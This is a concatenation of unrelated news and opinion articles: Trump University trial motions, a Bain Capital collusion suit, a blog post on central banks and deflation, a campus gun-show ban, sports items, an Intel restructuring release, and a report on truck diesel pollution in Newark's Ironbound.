"Evidence and argument relating to matters publicized during the presidential campaign, including statements by and about Mr. Trump, have no relevance to the issues before the jury and are otherwise inadmissible. Their intrusion into the trial carries an immediate and irreparable danger of extreme and irremediable prejudice to defendants, confusion of issues, and waste of time," Petrocelli and Kirman added. "Courts are required to ensure that the purpose for which the evidence is offered is more than just a sham for using it as proof of character."
Curiel has ordered a jury trial starting Nov. 28 in federal court in San Diego on one of two pending class-action lawsuits alleging that the Trump University program was deceptively marketed. The first case set for trial involves individuals who spent between about $1,500 and $35,000 on real estate seminars or a deluxe mentorship package on how to invest in real estate.
In the suits, plaintiffs' lawyers are leveling a series of fraud claims against Trump and Trump University, but only two are at issue in the case set for trial next month: that Trump University was falsely promoted as an accredited university and that the program advertised its instructors as handpicked by Trump, when they were not.
Trump is expected to be called as a witness by both sides at the trial, which was delayed in part to accommodate his presidential campaign. It's unclear whether the trial could be delayed further if Trump wins on Nov. 8. As a civil defendant, he would be entitled to sit at the defense table in the courtroom, but he's not obliged to attend the entire trial.
Both sides in the case filed pretrial motions Tuesday night jockeying for advantage by asking Curiel for advance rulings on potential evidence, usually seeking to exclude matters they fear the other side may bring up.
The plaintiffs in the case also made a politics-related request of the judge, asking him to rule out any questioning of witnesses' political affiliations or contributions. They're apparently concerned that Trump's lawyers may seek to discredit critical witnesses by saying that they're Democrats or took part in anti-Trump political activity.
The plaintiffs also asked that Trump's team be prohibited from referring to the fact that several lawyers affiliated with an earlier iteration of one of the law firms that filed the case pleaded guilty to federal felony charges and served prison time. None of those lawyers worked on the Trump University case or are currently affiliated with the plaintiffs' law firms.
In addition to discussion about the campaign, Trump's attorneys want to place off limits at the trial any mention of the financial condition of students who signed up for the Trump University program, including claims that some are now "hardly making enough to survive" or that the program preyed on "poor people."
Trump's attorneys called the hardship claims "inflammatory" and said they were irrelevant to whether students were or were not deceived.
The trial is expected to proceed in phases, with the first phase focused on whether the alleged deceptions took place and were material to decisions to sign up for the program. A second phase will address what damages were incurred.
Trump's legal team also wants to bar discussion of their client's struggle to get the Better Business Bureau to change an 'F' rating it gave the so-called university.
Amid the acrimony reflected in the motions filed Friday, there were some small points of agreement alongside further indications that the trial will be fiercely litigated, assuming the case isn't settled in the next five weeks. Both sides asked the judge to forbid telling jurors in the case about any "jury consultants, shadow jurors, and/or private investigators" the parties may have used or who may be present in court.FILE - In this May 8, 2012 file photo, Republican presidential candidate, former Massachusetts Gov. Mitt Romney speaks in Lansing, Mich. Looks like President Barack Obama's allies got the hint. An independent group with deep ties to the Democrat's re-election campaign rolls out a TV ad assailing Mitt Romney over business practices at Bain Capital _ just 24 hours after Obama himself opened the same line of attack. Its a sign of the new world of campaign finance, where super PACs have wide leeway (AP Photo/Carlos Osorio, File)
The New York Times has managed to get its hot mitts on a heavily redacted complaint in a class-action lawsuit accusing Bain Capital and other private equity firms of conspiring to keep the prices of buyout targets low. In other words, it accuses them of basically carving up the universe of private-equity targets like a big pie and doling the pieces out to each other. More profit for everybody, sort of like the drug-dealers' cooperative in "The Wire."
It might be a little tricky, however, to tie these deals to Republican presidential nominee Mitt Romney, Bain Capital's founder and former CEO, who claims to have stepped down from an active role at the firm before they happened -- although Romney has continued to benefit passively from Bain's profits on the deals.
Romney and Bain lawyers say he was not actively involved in Bain at the time of the deals and had nothing to do with them. His name is not mentioned in the complaint. In fighting the Times' request for the document, the lawyers argued that the "election should not serve as an excuse to allow the press to get at confidential documents and upend competitive sensitivities."
The document ultimately doesn't reveal all that much new about a case that has been brewing for years, and it likely won't cause much damage to Romney's political chances -- certainly no more than he seems capable of doing all by himself. But it does offer just the slightest peek into the rarefied world of private-equity dealmaking that most people should find interesting.
The lawsuit against the private equity firms arises from what were known as "club deals" at the height of private-equity buyout fever in the mid-2000s. Bain and other firms pooled their billions to take down huge targets such as Texas utility TXU and health-care company HCA, setting buyout records that still stand. According to the lawsuit, these teams also managed to talk other private equity firms into abstaining from bidding on targets.
The complaint in the case apparently has the contents of incriminating emails that suggest the firms were colluding, in a scheme that it says involved 11 firms and 19 deals from that era. Unfortunately, most of the good stuff is blacked out of the copy obtained by the Times, which had to fight Bain's lawyers to get even the redacted complaint made public. In one of the few visible parts of the document, the complaint says private equity firms "heeded" a call by Kohlberg Kravis Roberts that they "step down" from bidding on health-care company HCA, which Bain, KKR and Merrill Lynch teamed up to buy in 2006 for $32.1 billion, setting a record at the time.
According to the document, Bain, KKR and Merrill paid $51 a share for HCA, which was "only" 17.8 percent more than the company's stock price the day before the bid. That sounds like a decent premium, but the complaint says it thinks HCA shareholders could have gotten a lot more for the company -- at least $1 billion more. It says that another private equity firm, Blackstone Group, thought HCA could have been worth $1.6 billion more.
But Blackstone didn't make a bid, and neither did Goldman Sachs or a bunch of other private equity firms, all of which bowed out of the bidding just 48 hours after the Bain deal was announced -- even though HCA had 50 days, during a "go-shop" period, to find a stronger bid. KKR went on to nearly triple its initial $1.2 billion investment in HCA, according to the document. The complaint doesn't mention Bain's profits on the deal, but they were probably pretty substantial, too.
The private equity firms deny they were colluding to keep prices low and say the complaint reveals nothing illegal, just normal negotiating tactics. They also argue that companies were hardly cheap during the buyout boom of the mid-2000s, and that maybe the buyout targets should just count themselves lucky they were bought at all. Though many of these targets have produced billions in profits for the firms, not all of the deals have been big money-makers. TXU's private-equity investors, for example, lost billions after natural-gas prices collapsed.
"It’s hard to believe that PE firms –- a competitive bunch -– would conspire to not compete on certain 'Golden Age' deals, while fighting like cats and dogs on others," Fortune editor Dan Primack wrote in his daily "Term Sheet" newsletter.May 26, 2013
I came into economic consciousness in 1972, and was an observant witness of the break-up of Bretton Woods, and the subsequent Great Inflation of the late seventies. I watched as Paul Volcker and other central bankers went to war against inflation and, by controlling money growth, began the process by which global inflation was exterminated by the 1990s. That was the seminal monetary experience of my generation: the slow strangling of the inflation monster.
The heroes of this era were the central bankers who had the sang-froid to stand up to the pleasure-seeking politicians and to impose recession on the masses in order to break the “wage-price spiral”, as it was known at the time. The measure of a central banker became his ability to impose pain in the face of popular hatred, and thus restore monetary discipline. These heroes won that war; they killed the snake.
Thus, the standard by which central bankers have been measured since the eighties has been their commitment to “price stability”, the most heroic version of which is zero inflation, the Holy Grail. Indeed, today all of the world’s central banks have an explicit price stability mandate. Mark you: not an inflation-targeting mandate, a price-level targeting mandate, a nominal growth mandate, or an NGDP-level mandate. No: price stability, in all its austere glory.
And so we have transitioned during my conscious economic life from a world in which 5% inflation was tolerable to a world in which 2% is the absolute ceiling, and lower is just fine. We now live in a world in which two of the most important central banks have been targeting ultra-low inflation for years, the ECB and the BoJ, and in which the other important central bank harbors a large faction of “inflation hawks” on its policy committee.
And then, in 2008, came Lehman and the shutting down of the global credit system. The world’s central bankers, with their generational commitment to disinflation, were confronted by: deflation! And what did they do? Nothing. They stood back and allowed the price level, NGDP and RGDP to fall. They had long ago locked the storeroom where the reflationary tools were kept. And they had never seen or used those tools, either. They fell right into the same complacent psychology that their official predecessors fell into in 1931: they opened the credit spigots and offered an “accomodative” monetary policy: “We’ve done all we can.” Not the slightest attempt to raise an army to fight deflation and negative growth. Raised to fight inflation, they were stupefied by the challenge of deflation. (None of this applies to Bernanke, but he was a lone voice in a wilderness of stupidity and denial.)
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So, the FRB, the BoJ, the ECB, and the BofE all stood back and watched as prices, nominal growth and real growth went negative. The wise and experienced central banks of Southern Europe had been silenced, having surrendered monetary sovereignty to Germany a decade earlier. (Banca d’Italia, once a highly sophisticated central bank, would never have permitted the post-crash deflation, but it’s been only a posh Italian think tank since 1999.)
Since the deflation of 2008-09, global growth has downshifted permanently into second gear. We now live in a world of low inflation, low nominal growth, and low real growth. Salt has been sown over the grave of the inflation monster.
True, millions of young people are now facing a lifetime of unemployment, but isn’t that the price we must pay to create a world without inflation? Won’t workers over time redevelop the psychology of the nineteenth century, when wages rose and fell with the business cycle? Why should nominal wages be sticky? Once people have been unemployed long enough, and once their unemployment benefits have run out, they will happily return to the labor force at lower wages, and the neoclassical equilibrium will be restored. It will be 1913 again.
I love the neoclassical equilibrium as much as the next guy, but we now know that it cannot co-exist with universal suffrage. The masses always vote for full employment at higher wages. Neoclassicism can only succeed in a plutocracy, which we gave up in the 19th century. Today we must devise a monetary policy that does not depend on the “reserve army of the unemployed” to discipline wages. We allow the unemployed to vote.
The High Priests of the new religion of extreme price stability are Jens Weidmann, president of the Bundesbank, and his subordinate, Mario Draghi of the ECB. The collected works of these men will someday be titled “Growth Was Not Our Mandate”. These men have assumed the roles of the central bankers of the Depression, who believed that the “purging of the system” and a reduction in wages was the only way to restore growth.
They are actively pursuing what Irving Fisher characterized as the “natural” way out of a depression:
“Unless some counteracting cause comes along to prevent the fall in the price level, a depression tends to continue, going deeper in a vicious spiral for many years. There is no tendency of the boat to stop tipping until it has capsized. Only after almost universal bankruptcy will the indebtedness cease to grow. This is the so-called "natural" way out of a depression, via needless and cruel bankruptcy, unemployment, and starvation.”
---Irving Fisher, “The Debt-Deflation Theory of Great Depressions”, 1933.
Professor Fisher (Yale) not only invented the debt-deflation theory, he also invented the quantity theory. He stands as a monumental figure in 20th century economics, along with Keynes and Friedman. You can’t be an anglophone economist and not know his work. Of course Draghi, the smartest man in Europe, knows all about Fisher and his theories. But does anyone else in the eurozone read Fisher? Is this all new to them? Is the deflationary catastrophe of the early thirties not part of their fundamental curriculum?
I dare say that it is not, at least in the Fatherland. Germans remember selectively their country’s monetary history. They choose not to remember the deflation of 1930-33, nor do they want to remember the successful post-1933 reflation under Hjalmar Schacht. They only remember the postwar hyperinflations, which were indeed awful but are absolutely irrelevant today.
Today, the world needs a new generation of central bankers who are not students of the Great Inflation, but are instead students of the Great Deflation and of Irving Fisher, Milton Friedman and Barry Eichengreen. The lesson of the past five years is that the world needs inflation, and some economies need it more than others. While Northern Europe can discipline itself to live with low inflation, Southern Europe never has and never will. Starving them won’t change their national character, it will only lead to chaos, which we are already beginning to see.
The following editorial appeared in El Pais (Madrid) earlier this month:
The consolidation of a fascist party in Greece. The success of Beppe Grillo and Silvio Berlusconi in Italy. The 6.2 million unemployed in Spain, its highest since the year after Franco's death, and the 26.5 million in the EU. The collapse of the French hope for François Hollande. The rise of anti-European parties in Greece, France, Finland, UK, Germany. The dismantling of the welfare state and the return of starvation wages in Southern Europe. None of this seems to move the Germans. With her hard countenance and furrowed brow, Chancellor Angela Merkel observes the perfect storm on the Continent without raising an eyebrow.
The risk to Europe today is what Fisher said about America under Hoover:
“If our rulers should still insist on "leaving recovery to nature" and should still refuse to inflate in any way, should vainly try to balance the budget and dis- charge more government employees, to raise taxes, to float, or try to float, more loans, they will soon have ceased to be our rulers. For we would have insolvency of our national government itself, and probably some form of political revolution.”Buy Photo New Mexico State University-Alamogordo Interim President Dr. Ken Van Winkle has disallowed gun shows and the NRA banquet to host their events for now at the Tays Center. (Photo: Peter Dindinger/Daily News)Buy Photo
New Mexico State University-Alamogordo Interim President Dr. Ken Van Winkle has ended the practice of allowing the Alamogordo Evening Lions Club and Western Frontier Gun Shows to rent the Tays Center. Van Winkle officially made the announcement Wednesday.
Van Winkle is disallowing any organization to rent the Tays Center or any facility on NMSU-A's campus for the purpose of selling guns at a gun show or the NRA banquet if the NRA has a gun raffle with the firearms present at the banquet.
The Alamogordo Evening Lions Club and Western Frontier Gun Shows have been hosting their funraiser gun shows at the Tays Center since 2011.
Van Winkle said he believes it's a state law that there's a no carry policy for all campuses statewide, and NMSU supports the state law.
"I've decided that it just doesn't make sense to sell guns on our campus," he said. "By the way it's not anti-gun. I had a little twinge when the mass shootings happened in Oregon and got another twinge when it happened in Paris. With some legal support from Las Cruces, which is our main campus and my gut feeling. It's just not an appropriate place to have these gun sales. I am going to call it off for now. I think it's just the best thing to do for our campus."
Van Winkle has been at the helm as interim president of NMSU-A since June 1.
He said he is not a gun owner but he has friends and acquaintances who do own guns.
"This is a change," Van Winkle said. "Because of what's been happening in the world and we really are a no carry campus. This are being looked at much more closely. This is a good example. Everything's being magnified because of the San Bernardino shootings. All of the tragedies we've had on our campuses, it just doesn't make sense to me that a public institution would host a gun show. It's not about us not supporting those who would like to own guns. I am not comfortable in the Tays Center being a place where we take a stand."
Western Frontier Gun Shows organizer Eli Calles and Alamogordo Evening Lions Club member George Elizondo said they were disappointed in Van Winkle's decission to stop the gun shows that benefit the Lions Club.
The two organizations have hosted 21 guns shows that benefit the local Lions Club since 2011. They've rented the NMSU-A Tays for about $500 a day.
The last show Dec. 5 and Dec. 6 drew over a thousand people.
"The state police did come in to make sure things were being done right," Calles said.
Elizondo said when they met with Van Winkle part of the discussion was the concern of the welfare of the students.
"When there's a no carry campus," he said. "We know who our enemies are. The gun free zone is where these killers want to go because they can do the most damage. To me that's the tragedy. The idea that our policy is we're not going to have any guns ever, instead of wait a minute lets arm up or maybe we should change our policy and encourage the gun shows, encourage our students to prepare to defend themselves. Take the training, take the classes and learn to defend themselves. It's our Constitutional protection."
Elizondo said we were aware of the no gun policy on campus.
"It was with the understanding that the Tays Center was an event center that they carved an exemption based on the use of an event center and not as a college campus slash educational environment," he said. "My understanding there was no violation of the policy."
Under the New Mexico state statue, each campus' administration or president can make an exception under the statue and allow gun shows if it's a university approved program.
NRA Coordinator and Dave's Gun Shop owner Dave Baranowski said if the gun shows are a university approved program then they're allowed to have it.
"It says you can't have guns on university premises," Baranowski said. "They have to post sign conspicuously say that. They would have to have signs saying that by law. The last time I went up there looking, I didn't see any signs like in their parking area and that but they don't so their violating the law but if it's a university approved program, you can have guns there. That's how they were able to have the gun shows, it's a university approved program, not a problem."
He said the NRA hosted their banquet every year at the Tays Center with gun raffles to raise money for the 4-H Club, ROTC and the Boys Scouts.
"We raised about $16,000 for the local 4-H Club," Baranowski said. "We would raise the money with a live auction and silent auction, and raffles for a firearms. If we can't raffle off firearms then there won't be a banquet then. It's the whole point of having the banquet there. If they can't win guns, they won't show up. It sounds like it's one person raising a fuss about nothing. There's been no incidents at the gun shows here. No incidents at the NRA banquets here to cause a problem."
He said Van Winkle should be concerned for the student's safety.
"There creating a gun free zone," Baranowski said. "That means every other shooting that's taken place in this country has been in a gun free zone. You don't see people coming in and attacking gun shows. You don't see people coming into gun stores where people are armed. They go where the people are going to be unarmed. Their easy pickens."
Read or Share this story: http://a-dnews.co/1YcdwfeChris Froome has told Cyclingnews that he is ready to shoulder the pressure and responsibility of leading Team Sky at the Tour de France, believing he has the ability to take on Alberto Contador and target overall success thanks to this year's mountainous route. Related Articles Video: Froome sees nervous first week in 2013 Tour
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In a video interview recorded at Team Sky's media day in Mallorca, Froome also claimed that his second place in the 2012 Tour de France was a clear statement that cycling has changed. The Kenyan-born Briton sees Lance Armstrong's demise as an opportunity for the sport to find new role models people can admire.
Froome claimed his relationship had been sensationalized and is confident Bradley Wiggins will work for him in July, just as he helped Wiggins at the 2012 Tour de France.
"It's been sensationalized a lot. We're not best friends but we've got a working relationship and I think we'll both do exactly what's asked of each for the team, so we can achieve the team's goals," Froome told Cyclingnews.
"I think every team needs to go in (to the Tour) with contingency plans like I was last year's Tour. That guy will be the last help in the mountains if you like and the way its shaking out at the moment, Bradley would play that role for me this year."
In a change of programme, Froome will begin his 2013 season alongside Wiggins at the Tour of Oman on February 12. After that his programme will include Tirreno-Adriatico but then focus on being at his best for the Tour de France.
"It sounds like a lot of the big hitters are going out there (to Oman) but it's still very early days and hard to take real truths out of the results. It'd always be good to get one up on Contador," he said, seemingly relishing a battle with the Spaniard come July.
"I think he's definitely my biggest rival at the moment, he knows what he's doing in the big tours. I'd like to think my time trial is better than his and then stick with him in the mountains. However the Tour is so mountainous this year, if anyone has a bad day, that could potentially be minutes lost there. To me it looks like the race is going to be won or lost in the mountains at this year's Tour de France."
Being a role model
Froome did not shy away from questions about doping or Lance Armstrong. Like most riders he is looking to the future and believes he can is a role model for the future of the sport.
"It's disappointing, it's shocking. It came as no surprise to me. But I think everyone in the cycling world knew it was going to come out. But to actually hear him say the words that he doped and that he doped to such a scale, is shocking," Froome said of Armstrong's partial confession to Oprah Winfrey.
"It's something that I hope will help the sport move forward and close the door on that era of cycling. The sport has definitely developed. It's no longer the case of guys doing blood bags and transfusions, etc. If they are, it's a very minority, the guys who are losing their contracts or just trying to take chances. They're the guys who are getting caught."
"Cycling definitely has transformed. And for me, coming second in last year's Tour de France, was a clear statement to say: 'Yes, the sport has changed'. I would never have been able to do that if doping was still prevalent in the sport."
"I think it presents us with an opportunity. The sport needs new figures to look up to, clean winners who aren't going to get their titles stripped. Personally it gives me a lot of motivation, it gives me a goal, something to aim for and hopefully inspire people, knowing that the sport has changed."The journey toward the 2017 season is now in full swing with the Pittsburgh Steelers having reported to Latrobe for their annual training camp at Saint Vincent College, where they have held their camps for over half a century now.
This is surely the time more than any other in which we find ourselves full of questions that we are looking to get answered, and this also tends to be the best time to get answers to those questions that have been building up over the course of time since the 2016 season ended.
You can rest assured that we have the questions, and we will be monitoring the developments in the training camp and the preseason as they develop, and beyond, looking for the answers as we look to evaluate the makeup of the Steelers as they try to navigate their way back to the Super Bowl, after reaching the AFC Championship game last season for the first time in more than half a decade.
Question: Which players are you most looking forward to seeing in action tonight?
I’m sure that today is a day that many of you have been anticipating for several months now. For the first time since the AFC Championship game, the Steelers are actually going to participate in a football game. The score is not going to matter, but hey, at least they’ll be keeping track of it.
While there is a 90-man roster, there will be many not participating in the game, though we probably won’t be given a full list
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The Saskatchewan Roughriders announced today international safety Tyron Brackenridge is retiring from the Canadian Football League.
Brackenridge played 75 regular season games through five seasons with the Green and White after originally joining the team in October of 2011. He re-signed as a free agent in February, 2013 in order to remain with the Riders.
“On behalf of the Roughriders, I want to congratulate Tyron on a remarkable career,” stated Riders Vice-President of Football Operations and Administration Jeremy O’Day. “You could always count on Tyron for his work ethic, intensity, and overall will to win. Off the field, he took as much pride in being able to give back to the Province through community initiatives and spending countless hours with fans. He was an important part of the success we had as an entire organization.”
At 31-years-old, Brackenridge will retire after registering 254 defensive tackles, 18 special teams tackles, 10 interceptions, and four quarterback sacks – on his way to picking up CFL All-Star selections in 2013 and 2014.
He won his first Grey Cup in 2013 with the Roughriders.
“The decision to retire from the game I love is truly bittersweet,” noted Tyron Brackenridge. “I have been blessed to be able to play this game for the past ten years, including five wonderful years with the Roughriders. I’m content with the decision and look forward to what lies ahead.”
“I would like to give a special thanks to the CFL and particularly the Saskatchewan Roughriders organization,” added Brackenridge. “Last but not least, I want to send a special thanks to the amazing Rider Nation. Thank you all for making Saskatchewan my home away from home.”
Brackenridge currently resides in Riverside, California with his wife Christine and daughter Brooklynn.SANTA CLARA, Calif., April 19, 2016 – Intel Corporation today announced a restructuring initiative to accelerate its evolution from a PC company to one that powers the cloud and billions of smart, connected computing devices. Intel will intensify its focus in high-growth areas where it is positioned for long-term leadership, customer value and growth, while making the company more efficient and profitable.
The data center and Internet of Things (IoT) businesses are Intel’s primary growth engines, with memory and field programmable gate arrays (FPGAs) accelerating these opportunities – fueling a virtuous cycle of growth for the company. These growth businesses delivered $2.2 billion in revenue growth last year, and made up 40 percent of revenue and the majority of operating profit, which largely offset the decline in the PC market segment.
The restructuring initiative was outlined in an e-mail from Intel CEO Brian Krzanich to Intel employees.
“Our results over the last year demonstrate a strategy that is working and a solid foundation for growth,” said Krzanich. “The opportunity now is to accelerate this momentum and build on our strengths.
“These actions drive long-term change to further establish Intel as the leader for the smart, connected world,” he added. “I am confident that we’ll emerge as a more productive company with broader reach and sharper execution.”
» Read Brian Krzanich’s email to Intel employees (PDF)
While making the company more efficient, Intel plans to increase investments in the products and technologies that that will fuel revenue growth, and drive more profitable mobile and PC businesses. Through this comprehensive initiative, the company plans to increase investments in its data center, IoT, memory and connectivity businesses, as well as growing client segments such as 2-in-1s, gaming and home gateways.
These changes will result in the reduction of up to 12,000 positions globally — approximately 11 percent of employees — by mid-2017 through site consolidations worldwide, a combination of voluntary and involuntary departures, and a re-evaluation of programs. The majority of these actions will be communicated to affected employees over the next 60 days with some actions spanning in to 2017.
Intel expects the program to deliver $750 million in savings this year and annual run rate savings of $1.4 billion by mid-2017. The company will record a one-time charge of approximately $1.2 billion in the second quarter.
Webcast
Intel also announced first-quarter 2016 earnings today. The company will discuss the restructuring initiative during the earnings webcast scheduled today at 2:00 pm PDT on its Investor Relations website at www.intc.com. A webcast replay and audio download will also be available on the site.
Forward-Looking Statements
This press release contains “forward-looking statements” as defined in the Private Securities Litigation Reform Act of 1995, which are identified by words such as “plans,” “expects,” “may,” “believes,” “estimates” or “estimated, “intends,” and other similar words, expressions, and formulations. This release contains forward-looking statements regarding the timing and scope of the restructuring plan; the size of the restructuring plan and the amount and timing of the related charges; the expected cost savings resulting from the restructuring plan; and demand and growth prospects for Intel’s products. Many factors could affect the actual results of the restructuring plan, and variances from Intel’s current expectations regarding such factors could cause actual results of the restructuring plan to differ materially from those expressed in these forward-looking statements. Intel presently considers the following to be a non-exclusive list of important factors that could cause actual results to differ materially from its expectations: the timing and execution of plans and programs that may be subject to local labor law requirements, including consultation with appropriate works councils; assumptions related to severance, post-retirement costs, and relocation costs; future acquisitions, dispositions, or investments; new business initiatives and changes in product roadmap, development, and manufacturing; assumptions related to cost savings, product demand and/or operating efficiencies. A detailed discussion of these and other risks and uncertainties that could cause Intel’s actual results to differ materially from these forward-looking statements is included in the documents that Intel files with the Securities and Exchange Commission on Forms 10-K, 10-Q and 8-K. These forward-looking statements speak only as of the date of this Report, and Intel does not undertake any obligation to revise or update such statements, whether as a result of new information, future events, or otherwise.Chozin (1), Hope (8), and Faith Garner (6) wear masks provided by the Voice to dramatize the Ironbound’s predicament. Natalie Keyssar
It had been a rough couple of years for Tanisha Garner. In 2010 she left an abusive marriage and moved out of Newark’s West Ward, the neighborhood where she was born and raised; around the same time, she lost her job as a Verizon technician. To make ends meet, she eventually turned to welfare, but that only helped so much: After two years, the rental assistance keeping her and her three children in an apartment in Newark’s Central Ward expired. Out of options, and out of money, she moved her family to the Ironbound.
“I couldn’t find anywhere else, no application got back to me, and that’s how I ended up here,” Garner says of her two-bedroom in the Aspen River Park Apartments.
The Ironbound is an eastside Newark neighborhood that abuts the Passaic River, a disused industrial corridor and superfund site. Row homes, subsidized housing, and warehouses crowd the narrow streets, which are clogged with school and public buses. Vacant lots sit next to vinyl-sided houses pushed up beside one another, crisscrossed by low-slung electrical and cable wires. Jammed against Route 9, the public housing projects encircle a dirt field with patches of grass. (During Superstorm Sandy, the field was flooded with chemical runoff.)
On an early, eerily hot spring day, kids run out of their aging red-brick school, filling the streets under the power lines. The low, persistent thrum of machinery is everywhere. Surrounding the Ironbound are a rail yard, an airport, numerous gas tankers, waste stations, incinerators, and rusting shipping containers — the blue-collar engines that keep the New York metropolitan area functioning, all concentrated in this lower-middle-class section of the Garden State. And towering over all of it is the Port Newark–Elizabeth Marine Terminal, the largest port on the Eastern Seaboard and the third largest in the country.
Dockworkers and truck drivers load and unload freight here from dawn till dusk. Each year shipping companies and their thousands of independent drivers move north of $100 billion in goods through here and onto a global trade network that links Parsippany to Beijing. In 2015, a record 3.6 million cargo containers entered Port Newark; XPO Logistics, one of the largest companies birthed there, made $15 billion in revenue last year alone.
The Ironbound represents a bottleneck in that constant flow: Trucks — more than 8,700 of them in a single month, more than 1.4 million trips a year — must pass through its winding streets to move between the highway and the port, hugging the Passaic and entering the port near the Essex County Correctional Facility.
That endless procession — about two hundred trucks per hour, or three every minute — has rendered this beaten-down neighborhood a toxic mess; even a few minutes outside can irritate your throat. According to an estimate by the New Jersey Department of Environmental Protection, diesel particulate levels surrounding the port are up to 1,000 times greater than levels considered safe to breathe. In 2013, the air at a swimming pool in the Ironbound registered twenty micrograms of black carbon (the main component of diesel exhaust) per cubic meter, dozens of times more concentrated than at a private pool in Weequahic, the middle-class neighborhood just a few miles south.
The Port Authority asked the Environmental Protection Agency, the states of New York and New Jersey, and the truck drivers themselves to share the cost of a fix, but not the shipping companies, which claimed they couldn’t afford it — despite record-setting port traffic last year.
Meanwhile, Garner and her family — as well as the 50,000 other residents in the neighborhood — live in a bowl of smog. “The exhaust gets on our food, everything,” she says, balancing her one-year-old, Chozin, on her knee. “I pray to God every day none of my kids get sick.”
Faith crosses an empty lot after school. Natalie Keyssar
Diesel exhaust exposure is a matchless predictor of poor health outcomes, says Robert Laumbach, MD, MPH, a professor at Rutgers’s Robert Wood Johnson Medical School. Nationwide, diesel exhaust has been linked to increased rates of asthma, lung cancer, and pre-term birth, and polycyclic aromatic hydrocarbons, some of its component chemicals, have been found to cause both ADD and ADHD in children in the New York metro area. “It contains tiny particles that get deep into the lungs, which carry on them other pollutants like a delivery system,” Laumbach explains.
One in four Newark children suffers from asthma; the hospitalization rate is 150 percent greater for kids living in the city than in the rest of the state, and more than thirty times the rate nationwide. Asthma attacks are now a leading cause of school absenteeism in the region — air pollution levels are highest between 7:30 and 8:30 a.m., when kids are heading to school.
Laumbach is working on a study to directly measure the long-term effects of diesel emissions on the health of children in the Newark area. “The idea is to get a better sense of how even short-term exposure from idling trucks might affect kids with asthma,” he says. “The other side of this study is that these kids might be more vulnerable to the effects of particulate matter on their asthma if they also have other chronic psychosocial stressors.” More than half of the kids in the Ironbound are children of immigrants, and many people in the community are undocumented. “[These stresses] all get transmitted to the kids,” Laumbach says.
The chief culprit in the Ironbound are the trucks themselves. Much of the fleet is ten to twenty years old, some with bumpers held on with duct tape, their cab doors fastened with bungee cords. The aging rigs idle for hours, emitting an endless stream of pollution as they wait to pick up their cargo.
These trucks were supposed to be gone by now. The Port Authority of New York and New Jersey, the agency that controls Port Newark, announced a truck replacement program back in 2010 that mimicked successful clean-up efforts at other ports around the country: Over the next seven years, the agency said it would phase out all pre-2007 rigs — which produce 95 percent more diesel particulate matter than later models — and subsidize the cost of replacing them for drivers, most of whom own their own trucks. The program was to be funded with an initial $21 million from the Port Authority, with more money coming annually from the EPA. “We have worked closely with all stakeholders to make sure that this new program will help clean up the pollution at our ports and, in the process, ensure that we do not overburden our already struggling port and trucking industry,” announced then–Port Authority executive director Chris Ward.
If it had ever been fully implemented, the program could have cut emissions by as much as that 95 percent by 2017. But in January, after spending six years and $35 million on just 429 new trucks, the Port Authority abandoned the program. In a press release buried on its labyrinthine website, the agency announced that its goal was to continue “to balance the need to efficiently and effectively move goods to and from our port terminals, while continuing to be good environmental stewards to the communities that surround our port facilities.” It said it would no longer enforce a ban on pre-2007 trucks entering the port, claiming it could not shoulder the total projected cost of $150 million.
Coming from an agency that had just spent $4 billion on the new World Trade Center hub that even the authority’s outgoing executive director, Patrick Foye, called a “symbol of excess,” pleas of poverty were pretty hard for locals to swallow. Community organizer Kim Gaddy has lived her entire life in Newark’s nearby South Ward, a neighborhood next to the port’s main truck ramp. Gaddy’s three children all developed asthma very young. Her middle daughter, now fifteen, was diagnosed with chronic asthma when she was one.”When you’re a parent and your family members are experiencing all these health effects,” says Gaddy, “having to learn about air quality and pollutants just so your kid can be healthy, and the only rationale that the port gives you is financial, you really have to wonder what’s wrong with that picture.”
Gaddy was working for the city at the time and was determined to get Newark’s black political leadership to do something about the environmental problems plaguing the town. “They were concerned with crime and poor education,” she says. “The environmental side of things didn’t have a voice.” She was part of the original group of environmental advocates that worked with the Port Authority on its Clean Air Strategy, which included the truck replacement program. Gaddy learned the Port Authority was abandoning the plan only hours before the announcement.
A 267-acre container terminal flanks Port Newark. Natalie Keyssar
In 2015, the Port Authority spent 4 percent of its capital budget on Port Newark. But between 2010 and 2015, the agency drastically ramped up its spending elsewhere. New Jersey Governor Chris Christie often allocates the agency’s reserves to pet projects that have nothing to do with bi-state transit, including $500 million to redevelop the Atlantic City airport and $1.8 billion to repair the crumbling Pulaski Skyway, which connects Jersey City with Newark. (The governor’s office declined to comment for this story.)
Federal money was plentiful, too. In 2008, the EPA began offering grants for newer, cleaner industrial equipment as part of a national push to slash diesel emissions. Ports across the country launched programs to take advantage of the funds. One such program begun that year was at the ports of Los Angeles and Long Beach, the country’s fifth and tenth largest ports, respectively. By 2012, all pre-2007 trucks had been banned from those ports entirely, and emissions were down by 80 percent. All told, the EPA has spent $52 million on the program.
L.A.’s approach couldn’t have been more different from the Port Authority’s. For one, the municipalities that controlled the city’s ports had established a schedule of fees to help pay for truck replacement. If a truck or shipping company did not comply with emissions standards, it was charged a fee that went into a fund earmarked for the replacement program. For another, much of the cost ended up being placed on the trucking companies themselves, the entities that could best afford to pay.
The Port Authority, by contrast, resisted issuing fees for politically connected shipping companies and truck carriers, even as the port experienced boom times. Instead, the brunt of the expense was passed to individual drivers, most of whom own their own rigs and earn around $28,000 a year. It was a classic case of passing the buck to the politically powerless.
Tanisha Garner and her daughters Natalie Keyssar
A new truck can cost more than $100,000. Under the Port Authority’s program, truckers were entitled to grants covering a quarter of the price of a truck and a low-interest loan to help pay the rest. But faced with a $75,000 debt, even at low interest, drivers quickly found themselves underwater. Meanwhile, thanks to bureaucratic inefficiency and the use of pricey consultants, the cost of just administering the program ballooned to $97,902 per vehicle in 2015 — roughly the same price as a new truck. Put another way, the Port Authority’s approach doubled the cost of each new rig.
For over twenty years Juan Reyes, 57, was an independent contractor, and says he never made enough money to buy his own vehicle. Standing next to a brand-new 2016 rig — he’s one of the few drivers employed by a company that provides new trucks for its employees — he says he knows what most drivers go through.
“Nobody can afford a new truck, because you make no money to begin with,” Reyes says. “So the first thing drivers do is buy a piece-of-shit truck, just so they can start working.” Drivers rarely make enough money to upgrade their rigs in any substantive way, he explains, instead moving from one junker to another.
